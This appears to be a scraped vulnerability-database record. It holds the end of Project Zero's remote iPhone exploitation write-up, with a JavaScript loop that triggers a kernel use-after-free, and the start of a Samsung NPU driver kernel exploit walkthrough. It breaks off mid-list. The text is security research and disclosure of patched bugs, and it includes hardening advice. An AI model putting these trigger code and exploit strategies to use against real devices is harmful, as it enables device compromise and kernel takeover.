[DataViews](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView>)/[TypedArrays](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray>). In particular, two DataView objects can be created in JS, then [returned to ObjC](<https://developer.apple.com/documentation/javascriptcore/jscontext/1451771-objectforkeyedsubscript?language=objc>), where the first one is corrupted so that its backing memory pointer now points to the second one. The resulting situation is shown in the image below. Corrupting the backing storage pointer is possible by using the memory read/write primitive in SLOP as described above.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWQJGlRPGzC51weNE1cKBTjxVmJPU3dRshmiapm11GUgF7ho-Xam5EZhnSaW8dE3jV85tiBflkdysP2rRo9FUEF_oWu2U8fGXeeDW_9fknMLNsaFb5fJUBP6y2S7IlFMsJ2Rk7zb1AHUhnC_z9Lfnw0KI0g-JoPYIDYzycSwjpmxJVecF7Gkh5uk3J/s1945/DataViews.png>)\n\nSubsequently, it is now possible to read from/write to arbitrary addresses from JavaScript by first corrupting the backing storage pointer of the second DataView through the first one, then accessing the second DataView\u2019s storage. Conveniently, [Gigacage](<https://phakeobj.netlify.com/posts/gigacage/>), a mitigation in JavaScriptCore designed to hinder the abuse of ArrayBuffers and similar in such a way, is [not active in JSC builds for Cocoa](<https://github.com/WebKit/webkit/blob/98cbf74a29d2dfea8c253ebd09cacb2c44c7557d/Source/bmalloc/bmalloc/ProcessCheck.h#L34>). This solves point 1 above.\n\n** \n**\n\nAfterwards, point 2 can be achieved with the following two ObjC methods:\n\n * [CNFileServices dlsym::], which is just a thin wrapper around dlsym(3). With PAC enabled, dlsym will sign returned function pointers with context zero (as no sensible context value is available to the caller) before returning them\n\n * [NSInvocation invokeUsingIMP:], which accepts an IMP, a function pointer signed with context zero, as argument and calls it with the arguments from its frame buffer, which are thus fully controlled\n\n** \n**\n\nCombining these two ObjC methods allows calling of arbitrary exported C functions with arbitrary arguments. Finally, it is also possible to bridge this capability into JavaScript: JavaScript core supports bridging ObjC objects by implementing the [JSExport protocol](<https://developer.apple.com/documentation/javascriptcore/jsexport?language=objc>) and specifying the methods that should be exposed to JS. ObjC methods bridged in that way are implemented by creating one NSInvocation object for every method and [invoking it when the method is called in JS](<https://github.com/WebKit/webkit/blob/4193dc90616f9538b99058517fee62c53b094951/Source/JavaScriptCore/API/ObjCCallbackFunction.mm#L585>). Given the memory read/write capability, it is then possible to corrupt this NSInvocation object to call a different method on a different object, for example [CNFileServices dlsym::] or [NSInvocation invokeUsingIMP:].\n\n** \n**\n\nWith all of that and a bit of wrapper code to expose the required functionality in a convenient way, a reimplementation of Ned Williamson\u2019s [trigger](<https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=398587>) for [CVE-2019-8605 aka SockPuppet](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>) looks like this (see crash_kernel.js for the full code):\n\n** \n**\n\nlet sonpx = memory.alloc(8);\n\nmemory.write8(sonpx, new Int64(\"0x0000000100000001\"));\n\nlet minmtu = memory.alloc(8);\n\nmemory.write8(minmtu, new Int64(\"0xffffffffffffffff\"));\n\n** \n**\n\nlet n0 = new Int64(0);\n\nlet n4 = new Int64(4);\n\nlet n8 = new Int64(8);\n\n** \n**\n\nwhile (true) {\n\nlet s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n\nsetsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, sonpx, n8);\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, n4);\n\ndisconnectx(s, n0, n0);\n\n// The next setsockopt will write into a freed buffer, so\n\n// give the kernel some time to reclaim it first.\n\nusleep(1000);\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, n4);\n\nclose(s);\n\n}\n\n** \n**\n\nThis demonstrates that it is possible to execute a kernel exploit from JavaScript after a successful remote exploit over iMessage and without any further vulnerabilities (e.g. a JavaScriptCore RCE exploit). \n\n** \n**\n\nThe source code for the proof-of-concept exploit can be found [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1917#c6>).\n\n## Improving Messenger Security\n\n** \n**\n\nThe insights gained during the exploitation work led to numerous recommendations for hardening measures, most of which have already been mentioned throughout this series where appropriate and have also been communicated to Apple. As they could also be relevant for other messenger and mobile operating system vendors, they are restated next.\n\n** \n**\n\n 1. As much code as possible should be put behind user interaction, in particular when receiving messages from unknown senders.\n\n 2. Communication side channels in the interactionless attack surface such as automatic delivery receipts should be removed. If that is not possible, the receipts should at least be sent in a way that prevents them from being abused to construct a crash oracle, for example by sending them on the server side or from a dedicated process\n\n 3. Processes handling incoming data should be sandboxed as much as possible and should be disallowed any network interaction to stop an attacker from constructing a communication channel (and afterwards an info leak) through a memory corruption or logic bug. This would also prevent bugs such as [CVE-2019-8646](<https://googleprojectzero.blogspot.com/2019/08/the-many-possibilities-of-cve-2019-8646.html>) from being easily exploitable.\n\n 4. ASLR should be as strong as possible. In particular, both heap spraying and brute force guessing should be impractical on any remote attack surface. Similarly, on iOS, the ASLR of the dyld shared cache region could be improved.\n\n 5. Some probabilistic defenses (ASLR, and in the future memory tagging) can be defeated if the attacker gets enough attempts (as is the case here with imagent). As such, it seems desirable to limit the number of attempts an attacker gets whenever possible and to deploy monitoring that is able to detect failed exploitation attempts.\n\n** \n**\n\nSince developing and reporting the presented exploit to Apple on August 9, the following security relevant changes to iOS have taken place:\n\n** \n**\n\n 1. A large part of the NSKeyedUnarchiver attack surface in iMessage was blocked ([by disallowing the decoding of child classes](<https://twitter.com/5aelo/status/1172534071332917248>)), thus rendering this bug and others unexploitable over iMessage\n\n 2. The vulnerability exploited here was fixed and assigned CVE-2019-8641\n\n 3. The decoding of the \u201cBP\u201d NSKeyedUnarchiver payload contained in incoming iMessages was moved into a sandboxed process (IMDPersistenceAgent). As such, an attacker exploiting an NSKeyedUnarchiver vulnerability over iMessage will now also need to break out of a sandbox.\n\n 4. A new unsigned int field, _magic, was added to the NSInvocation class. This field is set to the value of a per-process random global variable during initialization and asserted to be equal to it again during [NSInvocation invoke]. As such, it is no longer possible to create fake NSInvocation instances (which is a requirement for the presented PAC bypass) without leaking this value beforehand. Further, it appears that efforts are being made to protect the selector and target fields of NSInvocation with PAC in the future, additionally hindering abuse of NSInvocations even in case of an attacker with memory read/write capabilities.\n\n 5. The [MPMediaPickerController dealloc] method, which was used to bootstrap the PAC bypass by sending the \u201cinvoke\u201d selector to an attacker-controlled object, appears to have been removed. However, there are still other dealloc implementations that call \u201cinvoke\u201d on an attacker controlled object left. These might be removed in the future as well. As described above, it is in any case now more difficult to create fake NSInvocation instances. \n\n** \n**\n\nThis list could be incomplete as it was compiled through reverse engineering and manual experimentation, as Apple do not currently share any details of how their issues were fixed with security researchers.\n\n** \n**\n\nOn a final note, while good sandboxing is critical, it should not be relied upon blindly. As an example to consider, the vulnerability exploited here would likely also be usable to escape any sandbox on the device as the targeted API is commonly exposed over IPC as well.\n\n** \n**\n\n## Conclusion\n\n** \n**\n\nThis blog post series demonstrated that, despite numerous exploit mitigations being deployed, it is still possible to exploit memory corruption vulnerabilities in a non-interactive setting such as mobile messaging services and without an additional remote infoleak vulnerability as is commonly deemed necessary. The exploited vulnerability has been fixed by Apple and a few further hardening measures have already been deployed. A key insight of this research was that ASLR, which in theory should offer strong protection in this attack scenario, is not as strong in practice. In particular, ASLR can be defeated through heap spraying and through crash oracles, which can be constructed from commonly available side channels such as automatic delivery receipts. A second insight was that fairly arbitrary code, powerful enough to execute a kernel exploit, could be executed without ever creating or corrupting a code pointer, thus effectively bypassing PAC. Finally, based on the developed exploit, numerous suggestions for attack-surface reduction, hardening, and exploit mitigations were presented. My hope is that this research will ultimately help all vendors by highlighting how small design decisions can have significant security consequences and to hopefully better protect their users from these kinds of attacks.\n\n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-09T00:00:00", "type": "googleprojectzero", "title": "\nRemote iPhone Exploitation Part 3: From Memory Corruption to JavaScript and Back -- Gaining Code Execution\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605", "CVE-2019-8641", "CVE-2019-8646"], "modified": "2020-01-09T00:00:00", "id": "GOOGLEPROJECTZERO:0A90A47458C0D2B6B85F5BC6C0105ECC", "href": "https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:25", "description": "Written by Brandon Azad, when working at Project Zero \n\n\nOne of the amazing aspects of working at Project Zero is having the flexibility to direct my own research agenda. My prior work has almost exclusively focused on iOS exploitation, but back in August, I thought it could be interesting to try writing a kernel exploit for Android to see how it compares. I have two aims for this blog post: First, I will walk you through my full journey from bug description to kernel read/write/execute on the Samsung Galaxy S10, starting from the perspective of a pure-iOS security researcher. Second, I will try to emphasize some of the major security/exploitation differences between the two platforms that I have observed.\n\nYou can find the fully-commented exploit code attached in issue [2073](<https://www.google.com/url?q=https://bugs.chromium.org/p/project-zero/issues/detail?id%3D2073%23c1&sa=D&ust=1608578955006000&usg=AOvVaw3UPfNIWRfIVLvQA7Uep8n5>). \n\nIn November 2020, Samsung released a patch addressing the issue for devices that are eligible for receiving security updates. This issue was assigned CVE-2020-28343 and a Samsung-specific SVE-2020-18610.\n\n# The initial vulnerability report\n\nIn early August, fellow Google Project Zero researcher [Ben Hawkes](<https://www.google.com/url?q=https://twitter.com/benhawkes&sa=D&ust=1608578955006000&usg=AOvVaw1rF_F5FoSd-EX00q18bHpq>) reported several [vulnerabilities](<https://www.google.com/url?q=https://bugs.chromium.org/p/project-zero/issues/detail?id%3D2073&sa=D&ust=1608578955007000&usg=AOvVaw09mW9P0adU3guzPW2dQki8>) in the Samsung [Neural Processing Unit](<https://www.google.com/url?q=https://www.samsung.com/global/galaxy/what-is/npu/&sa=D&ust=1608578955007000&usg=AOvVaw0qcoEFkqwaU015eUgdfCyA>) (NPU) kernel [driver](<https://www.google.com/url?q=https://opensource.samsung.com/uploadSearch?searchValue%3Dsm-g973f&sa=D&ust=1608578955007000&usg=AOvVaw1qTHnoqa4kN9yny_bEheE4>) due to a complete lack of input sanitization. At a high level, the NPU is a coprocessor dedicated to machine learning and neural network computations, especially for visual processing. The bugs Ben found were in Samsug's Android kernel driver for the NPU, responsible (among other things) for sending neural models from an Android app in userspace over to the NPU coprocessor.\n\nThe following few sections will look at the vulnerabilities. These bugs aren't actually that interesting: they are quite ordinary out-of-bounds writes due to unsanitized input, and could almost be treated as black-box primitives for the purposes of writing an exploit (which was my ultimate goal). The primitives are quite strong and, to my knowledge, no novel techniques are required to build a practical exploit out of them in practice. However, since I was coming from the perspective of never having written a Linux kernel exploit, understanding these bugs and their constraints in detail was crucial for me to begin to visualize how they might be used to gain kernel read/write.\n\n## \ud83e\udd16 \ud83d\udcf1 \ud83e\udde0 \ud83d\udc53 \ud83d\udc1b\ud83d\udc1b\n\nThe vulnerabilities are reached by opening a handle to the device /dev/vertex10, which Ben had determined is accessible to a normal Android app. Calling open() on this device causes the kernel to allocate and initialize a new npu_session object that gets associated with the returned file descriptor. The process can then invoke ioctl() on the file descriptor to interact with the session. For example, consider the following code:\n\nint ncp_fd = open(\"/dev/vertex10\", O_RDONLY);\n\nstruct vs4l_graph vs4l_graph = /* ioctl data */;\n\nioctl(ncp_fd, VS4L_VERTEXIOC_S_GRAPH, &vs4l_graph); \n \n--- \n \nThe preceding syscalls will result in the kernel calling the function npu_vertex_s_graph(), which calls npu_session_s_graph() on the associated npu_session (see drivers/vision/npu/npu-vertex.c). npu_session_s_graph() then calls __config_session_info() to parse the input data to this ioctl (see npu-session.c):\n\nint __config_session_info(struct npu_session *session)\n\n{\n\n...\n\nret = __pilot_parsing_ncp(session, &temp_IFM_cnt, &temp_OFM_cnt, &temp_IMB_cnt, &WGT_cnt);\n\ntemp_IFM_av = kcalloc(temp_IFM_cnt, sizeof(struct temp_av), GFP_KERNEL);\n\ntemp_OFM_av = kcalloc(temp_OFM_cnt, sizeof(struct temp_av), GFP_KERNEL);\n\ntemp_IMB_av = kcalloc(temp_IMB_cnt, sizeof(struct temp_av), GFP_KERNEL);\n\n...\n\nret = __second_parsing_ncp(session, &temp_IFM_av, &temp_OFM_av, &temp_IMB_av, &WGT_av);\n\n...\n\n} \n \n--- \n \nAs can be seen above, __config_session_info() calls two other functions to perform the actual parsing of the input: __pilot_parsing_ncp() and __second_parsing_ncp(). As their names suggest, __pilot_parsing_ncp() performs a preliminary \"pilot\" parsing of the input data in order to compute the sizes of a few arrays that will need to be allocated for the full parsing; meanwhile, __second_parsing_ncp() performs the full parsing, populating the arrays that were just allocated.\n\nLet's take a quick look at __pilot_parsing_ncp():\n\nint __pilot_parsing_ncp(struct npu_session *session, u32 *IFM_cnt, u32 *OFM_cnt, u32 *IMB_cnt, u32 *WGT_cnt)\n\n{\n\n...\n\nncp_vaddr = (char *)session->ncp_mem_buf->vaddr;\n\nncp = (struct ncp_header *)ncp_vaddr;\n\nmemory_vector_offset = ncp->memory_vector_offset;\n\nmemory_vector_cnt = ncp->memory_vector_cnt;\n\nmv = (struct memory_vector *)(ncp_vaddr + memory_vector_offset);\n\nfor (i = 0; i < memory_vector_cnt; i++) {\n\nu32 memory_type = (mv + i)->type;\n\nswitch (memory_type) {\n\ncase MEMORY_TYPE_IN_FMAP:\n\n{\n\n(*IFM_cnt)++;\n\nbreak;\n\n}\n\ncase MEMORY_TYPE_OT_FMAP:\n\n{\n\n(*OFM_cnt)++;\n\nbreak;\n\n}\n\n...\n\n}\n\n}\n\nreturn ret;\n\n} \n \n--- \n \nThere are a few things to note here.\n\nFirst, the input data is being parsed from a buffer pointed to by the field session->ncp_mem_buf->vaddr. This turns out to be an [ION buffer](<https://www.google.com/url?q=https://lwn.net/Articles/480055/&sa=D&ust=1608578955027000&usg=AOvVaw25H9zLJhDyXO6_36JfQEhp>), which is a type of memory buffer shareable between userspace, the kernel, and coprocessors. The ION interface was introduced by Google into the Android kernel to facilitate allocating device-accessible memory and sharing that memory with various hardware components, all without needing to copy the data between buffers. In this case, the userspace app will initialize the model directly inside an ION buffer, and then the model will be mapped directly into the kernel for pre-processing before the ION buffer's device address is sent to the NPU to perform the actual work.\n\nThe important takeaway from this first observation is that the session->ncp_mem_buf->vaddr field points to an ION buffer that is currently mapped into both userspace and the kernel: that is, it's shared memory.\n\nThe second thing to note in the function __pilot_parsing_ncp() is that the only thing it does is count the number of times each type of element appears in the memory_vector array in the shared ION buffer. Each memory_vector element has an associated type, and this function simply tallies up the number of times it sees each type, and nothing else. There isn't even a failure case for this function.\n\nThis is interesting for a few reasons. For one, there's no input sanitization to ensure that memory_vector_cnt (which is read directly from the shared memory buffer and thus is attacker-controlled) is a sane value. It could be 0xffffffff, leading the for loop to process memory_vector elements off the end of the ION buffer. Probably a kernel crash at worst, but it's certainly an indication of unfuzzed code.\n\nMore importantly, since only the count of each type is stored, it seems likely that this code is setting itself up for a double-read, time-of-check-to-time-of-use (TOCTOU) issue when it later processes the memory_vectors a second time. Each of the returned counts is used to allocate an array in kernel memory (see __config_session_info()). But because the memory_vector_cnt and types reside in shared memory, they could be changed by code running in userspace between __pilot_parsing_ncp() and __second_parsing_ncp(), meaning that the second function is passed incorrectly sized arrays for the memory_vector data it eventually sees in the shared buffer.\n\nOf course, to determine whether this is actually a bug, we have to look at the implementation of __second_parsing_ncp():\n\nint __second_parsing_ncp(\n\nstruct npu_session *session,\n\nstruct temp_av **temp_IFM_av, struct temp_av **temp_OFM_av,\n\nstruct temp_av **temp_IMB_av, struct addr_info **WGT_av)\n\n{\n\nncp_vaddr = (char *)session->ncp_mem_buf->vaddr;\n\nncp_daddr = session->ncp_mem_buf->daddr;\n\nncp = (struct ncp_header *)ncp_vaddr;\n\naddress_vector_offset = ncp->address_vector_offset;\n\naddress_vector_cnt = ncp->address_vector_cnt;\n\n...\n\nmemory_vector_offset = ncp->memory_vector_offset;\n\nmemory_vector_cnt = ncp->memory_vector_cnt;\n\nmv = (struct memory_vector *)(ncp_vaddr + memory_vector_offset);\n\nav = (struct address_vector *)(ncp_vaddr + address_vector_offset);\n\n...\n\nfor (i = 0; i < memory_vector_cnt; i++) {\n\nu32 memory_type = (mv + i)->type;\n\nu32 address_vector_index;\n\nu32 weight_offset;\n\nswitch (memory_type) {\n\ncase MEMORY_TYPE_IN_FMAP:\n\n{\n\naddress_vector_index = (mv + i)->address_vector_index;\n\nif (!EVER_FIND_FM(IFM_cnt, *temp_IFM_av, address_vector_index)) {\n\n(*temp_IFM_av + (*IFM_cnt))->index = address_vector_index;\n\n(*temp_IFM_av + (*IFM_cnt))->size = (av + address_vector_index)->size;\n\n(*temp_IFM_av + (*IFM_cnt))->pixel_format = (mv + i)->pixel_format;\n\n(*temp_IFM_av + (*IFM_cnt))->width = (mv + i)->width;\n\n(*temp_IFM_av + (*IFM_cnt))->height = (mv + i)->height;\n\n(*temp_IFM_av + (*IFM_cnt))->channels = (mv + i)->channels;\n\n(mv + i)->stride = 0;\n\n(*temp_IFM_av + (*IFM_cnt))->stride = (mv + i)->stride;\n\n...\n\n(*IFM_cnt)++;\n\n}\n\nbreak;\n\n}\n\n...\n\ncase MEMORY_TYPE_WEIGHT:\n\n{\n\n// update address vector, m_addr with ncp_alloc_daddr + offset\n\naddress_vector_index = (mv + i)->address_vector_index;\n\nweight_offset = (av + address_vector_index)->m_addr;\n\nif (weight_offset > (u32)session->ncp_mem_buf->size) {\n\nret = -EINVAL;\n\nnpu_uerr(\"weight_offset is invalid, offset(0x%x), ncp_daddr(0x%x)\\n\",\n\nsession, (u32)weight_offset, (u32)session->ncp_mem_buf->size);\n\ngoto p_err;\n\n}\n\n(av + address_vector_index)->m_addr = weight_offset + ncp_daddr;\n\n...\n\n(*WGT_cnt)++;\n\nbreak;\n\n}\n\n...\n\n}\n\n}\n\n...\n\n} \n \n--- \n \nOnce again, there are several things to note here.\n\nFirst off, it does indeed turn out that memory_vector_cnt is read a second time from the shared ION buffer, and there are no sanity checks to ensure that the arrays temp_IFM_av, temp_OFM_av, and temp_IMB_av are not filled beyond the counts for which they were each allocated. So this is indeed a linear heap overflow bug.\n\nBut secondly, when processing a memory_vector element of type MEMORY_TYPE_WEIGHT, it appears that there's another issue as well: A controlled 32-bit value address_vector_index is read from the memory_vector entry and used as an index into an address_vector array without any bounds checks. And not only is the out-of-bounds address_vector's m_addr field read, it's also written a few lines later after adding in the ION buffer's device address! So this is an out-of-bounds addition at a controlled offset.\n\nThese are the two most serious issues described in Ben's [report](<https://www.google.com/url?q=https://bugs.chromium.org/p/project-zero/issues/detail?id%3D2073&sa=D&ust=1608578955052000&usg=AOvVaw3ZwfboJCZZsR9puUJNnD-u>) to Samsung. We'll look at each in more detail in the following two sections in order to understand their constraints.\n\n## The heap overflow\n\nHow might the heap overflow be triggered?\n\nFirst, __config_session_info() will call __pilot_parsing_ncp() to count the number of elements of each type in the memory_vector array in the shared ION buffer. Imagine that initially the value of ncp->memory_vector_cnt is 1, and the single memory_vector has type MEMORY_TYPE_IN_FMAP. Then __pilot_parsing_ncp() will return with IFM_cnt set to 1.\n\nNext, __config_session_info() will allocate the temp_IFM_av with space for a single temp_av element.\n\nConcurrently, a thread in userspace will race to change the value of ncp->memory_vector_cnt in the shared ION buffer from 1 to 100. The memory_vector now appears to have 100 elements, and userspace will ensure that the extra elements all have type MEMORY_TYPE_IN_FMAP as well.\n\nBack in the kernel: After allocating the arrays, __config_session_info() will call __second_parsing_ncp() to perform the second stage of parsing. __second_parsing_ncp() will read memory_vector_cnt again, this time getting the value 100. Thus, in the for loop, it will try to process 100 elements from the memory_vector array, and each will be of type MEMORY_TYPE_IN_FMAP. Each iteration will populate another temp_av element in the temp_IFM_av array, and elements after the first will be written off the end of the array.\n\nFurthermore, the out-of-bounds temp_av element's fields are written with contents read from the ION buffer, which means that the contents of the out-of-bounds write can be fully controlled (except for padding between fields).\n\nThis seems like an excellent primitive: we're performing an out-of-bounds write off the end of a kernel allocation of controlled size, and we can control both the size of the overflow and the contents of the data we write. This level of control means that it should theoretically be possible to place the temp_IFM_av allocation next to many different types of objects and control the amount of the victim object we overflow. Having such flexibility means that we can choose from a very wide selection of victim objects when deciding the easiest and most reliable exploit strategy.\n\nThe one thing to be aware of is that a simple implementation would probably win the race to increase memory_vector_cnt about 25% of the time. The reason for this is that it's probably tricky to get the timing of when to flip from 1 to 100 exactly right, so the simplest strategy is simply to have a user thread alternate between the two values continuously. If each of the reads in __pilot_parsing_ncp() and __second_parsing_ncp() reads either 1 or 100 randomly, then there's a 1 in 4 chance that the first read is 1 and the second is 100. The good thing is that nothing too bad happens if we lose the race: there's possibly a memory leak, but the kernel doesn't crash. Thus, we can just try this over and over until we win.\n\n## The out-of-bounds addition\n\nNow that we've seen the heap overflow, let's look at the out-of-bounds addition primitive. Unlike the prior primitive, this one is a straightforward, deterministic out-of-bounds addition.\n\nOnce again, we'll initialize our ION buffer to have a single memory_vector element, but this time its type will be MEMORY_TYPE_WEIGHT. Nothing interesting happens in __pilot_parsing_ncp(), so we'll jump ahead to __second_parsing_ncp().\n\nIn __second_parsing_ncp(), address_vector_offset is read directly from the ION buffer without input validation. This is added to the ION buffer address to compute the address of an array of address_vector structs; since the offset was unchecked, this supposed address_vector array could lie entirely in out-of-bounds memory. And importantly, there are no alignment checks, so the address_vector array could start at any odd unaligned address we want.\n\naddress_vector_offset = ncp->address_vector_offset;\n\n...\n\nav = (struct address_vector *)(ncp_vaddr + address_vector_offset); \n \n--- \n \nWe next enter the for loop to process the single memory_vector entry, and jump to the case for MEMORY_TYPE_WEIGHT. This code reads the address_vector_index field of the memory_vector, which is again completely controlled and unvalidated. The (potentially out-of-bounds) address_vector element at the specified index is then accessed.\n\n// update address vector, m_addr with ncp_alloc_daddr + offset\n\naddress_vector_index = (mv + i)->address_vector_index;\n\nweight_offset = (av + address_vector_index)->m_addr; \n \n--- \n \nReading the m_addr field (at offset 0x4 in address_vector) will thus possibly perform an out-of-bounds read.\n\nBut there's a check we need to pass before we can hit the out-of-bounds write:\n\nif (weight_offset > (u32)session->ncp_mem_buf->size) {\n\nret = -EINVAL;\n\nnpu_uerr(\"weight_offset is invalid, offset(0x%x), ncp_daddr(0x%x)\\n\",\n\nsession, (u32)weight_offset, (u32)session->ncp_mem_buf->size);\n\ngoto p_err;\n\n} \n \n--- \n \nBasically, what this does is compare the original value of the out-of-bounds read to the size of the ION buffer, and if the original value is greater than the ION buffer size, then __second_parsing_ncp() aborts without performing the write.\n\nBut, assuming that the original value is less than the ION buffer size, it gets updated by adding in the device address (daddr) of the ION buffer:\n\n(av + address_vector_index)->m_addr = weight_offset + ncp_daddr; \n \n--- \n \nThe device address is (presumably) the address at which a device could access the buffer; this could be a physical address, or if the system has an [IOMMU](<https://www.google.com/url?q=https://en.wikipedia.org/wiki/Input%25E2%2580%2593output_memory_management_unit&sa=D&ust=1608578955066000&usg=AOvVaw2VvVpsNucmrr9KywnAvow2>) in front of the hardware device performing the access, it would be an IOMMU-translated address. Essentially, this code expects that the m_addr field in the address_vector will initially be an offset from the start of the ION buffer, and it updates it into an absolute (device) address by adding the ION buffer's daddr.\n\nSo, if the original value at the out-of-bounds addition location is quite small, and in particular smaller than the ION buffer size, then this primitive will allow us to add in the ION buffer's daddr, making the value rather large instead.\n\n# \"Hey Siri, how do I exploit Android?\"\n\nEverything described up to here comes more or less directly from Ben's initial report to Samsung. So: what now?\n\nEven after reading Ben's initial report and looking at the NPU driver's source code to understand the bugs more fully, I felt rather lost as to how to proceed. As the title and intro to this post suggest, Android is not my area.\n\nOn the other hand, I have written a few [iOS](<https://www.google.com/url?q=https://bugs.chromium.org/p/project-zero/issues/detail?id%3D1731%23c10&sa=D&ust=1608578955067000&usg=AOvVaw1wJHXUsIIMf-oP3QbEuCok>) [kernel](<https://www.google.com/url?q=https://bugs.chromium.org/p/project-zero/issues/detail?id%3D2035%23c4&sa=D&ust=1608578955067000&usg=AOvVaw3xhDiq6oGnKYzCOmuvnI2z>) [exploits](<https://www.google.com/url?q=https://bugs.chromium.org/p/project-zero/issues/detail?id%3D1986%23c7&sa=D&ust=1608578955067000&usg=AOvVaw2ylmRP3FBMafCqM5QvURpz>) for memory corruption bugs before. Based on that experience, I suspected that both the heap overflow and the out-of-bounds addition could be exploited using straightforward applications of [existing techniques](<https://www.google.com/url?q=https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html&sa=D&ust=1608578955067000&usg=AOvVaw3st_8GMjjc3i3vQH2OsB84>), had the bugs existed on iOS. So I embarked on a thought experiment: what would the full exploit flows for each of these primitives be if the bugs existed on iOS instead of Android? My hope was that I might be able to draw parallels between the two, such that thinking about the exploit on iOS would inform how these bugs could be exploited on Android.\n\n## Thought experiment: an iOS heap overflow\n\nSo, imagine that an equivalent to the heap overflow bug existed on iOS; that is, imagine there were a race with a 25% win rate that allowed us to perform a fully controlled linear heap buffer overflow out of a controlled-size allocation. How could we turn this into arbitrary kernel read/write?\n\nOn iOS, the de-facto standard for a final kernel read/write capability has been the use of an object called a kernel task port. A task port is a handle that gives us control over the virtual memory of a task, and a kernel task port is a task port for the kernel itself. Thus, if you can construct a kernel task port, you can use standard APIs like mach_vm_read() and mach_vm_write() to read and write kernel memory from userspace.\n\nComparing this heap overflow to the vulnerabilities listed in the [survey](<https://www.google.com/url?q=https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html&sa=D&ust=1608578955068000&usg=AOvVaw0M9D8sxoocSmd-n4XZZ58w>), the initial primitive is most similar to that granted by CVE-2017-2370, which was exploited by [extra_recipe](<https://www.google.com/url?q=https://googleprojectzero.blogspot.com/2017/04/exception-oriented-exploitation-on-ios.html&sa=D&ust=1608578955069000&usg=AOvVaw3RcgkEZ6oq4v8I0UcrD1kA>) and [Yalu102](<https://www.google.com/url?q=https://github.com/kpwn/yalu102&sa=D&ust=1608578955069000&usg=AOvVaw1aV6k45s0OgHluj4kgY0pC>). Thus, the exploit flow would likely be quite similar to those existing iOS exploits. And to make our thought experiment even easier, we can put aside any concern about reliability and just imagine the simplest exploit flow that could work generically.\n\nThe most straightforward way to get a handle to a kernel task port using this primitive would likely be to overflow into an out-of-line Mach ports array and insert a pointer to a fake kernel task port, such that receiving the overflowed port array back in userspace grants us a handle to our fake port. This is essentially the strategy used by Yalu102, except that that exploit relies on the absence of PAN (i.e., it relies on being able to dereference userspace pointers from kernel mode). The same strategy should work on systems with PAN, it would just require a few extra steps.\n\nUnfortunately, the first time we trigger the vulnerability to give ourselves a handle to a fake task port, we won't have all the information needed to immediately construct a kernel task port: we'd need to leak the addresses of a few important kernel objects, such as the kernel_map, first. Consequently, we would need to start first by giving ourselves a \"vanilla\" fake task port and then use that to read arbitrary kernel memory via the traditional pid_for_task() technique. Once we can read kernel memory, we would locate the relevant kernel objects to build the final kernel task port.\n\nNow, since we'll need to perform multiple arbitrary reads using pid_for_task(), we need to be able to update the kernel address we want to read from. This can be a challenge because the pointer specifying the target read address lives in kernel memory. Fortunately, there already exist a few standard techniques for updating this pointer to read from new kernel addresses, such as reallocating the buffer holding the target read pointer (see the [Chaos](<https://www.google.com/url?q=https://blogs.360.cn/post/IPC%2520Voucher%2520UaF%2520Remote%2520Jailbreak%2520Stage%25202%2520\\(EN\\).html&sa=D&ust=1608578955070000&usg=AOvVaw3eqSiB2LY1OfGk904vdnB_>) exploit), overlapping Mach ports in special ways that allow updating the target read address directly (see the [v0rtex](<https://www.google.com/url?q=https://siguza.github.io/v0rtex/&sa=D&ust=1608578955070000&usg=AOvVaw2uMt2TluaPinFRPf_NQAyc>) exploit), or placing the fake kernel objects in user/kernel shared memory (see the [oob_timestamp](<https://www.google.com/url?q=https://bugs.chromium.org/p/project-zero/issues/detail?id%3D2035%23c4&sa=D&ust=1608578955070000&usg=AOvVaw14qDghwQl7TV6gFWPvrqML>) exploit).\n\nFinally, there will also be some complications from working around Apple's zone_require mitigation, which aims to block exactly these types of fake Mach port shenanigans. However, at least through iOS 13.3, it's possible to get around zone_require by operating with large allocations that live outside the zone_map (see the oob_timestamp exploit).\n\nSo, in summary, a very simplistic exploit flow for the heap overflow might look something like this:\n\n 1. Spray large amounts of kernel memory with fake task ports and fake tasks, such that you can be reasonably sure that one fake object of each type has been sprayed to a specific hardcoded address. Use the oob_timestamp trick to bypass zone_require and place these fake objects in shared memory.\n 2. Spray out-of-line Mach ports allocations, and poke holes between the allocations.\n 3. Trigger the out-of-bounds write out of an allocation of the same size as the out-of-line Mach ports allocations, overflowing into the subsequent array of Mach ports and inserting the hardcoded pointer to the fake ports.\n 4. Receive the out-of-line Mach port handles in userspace and 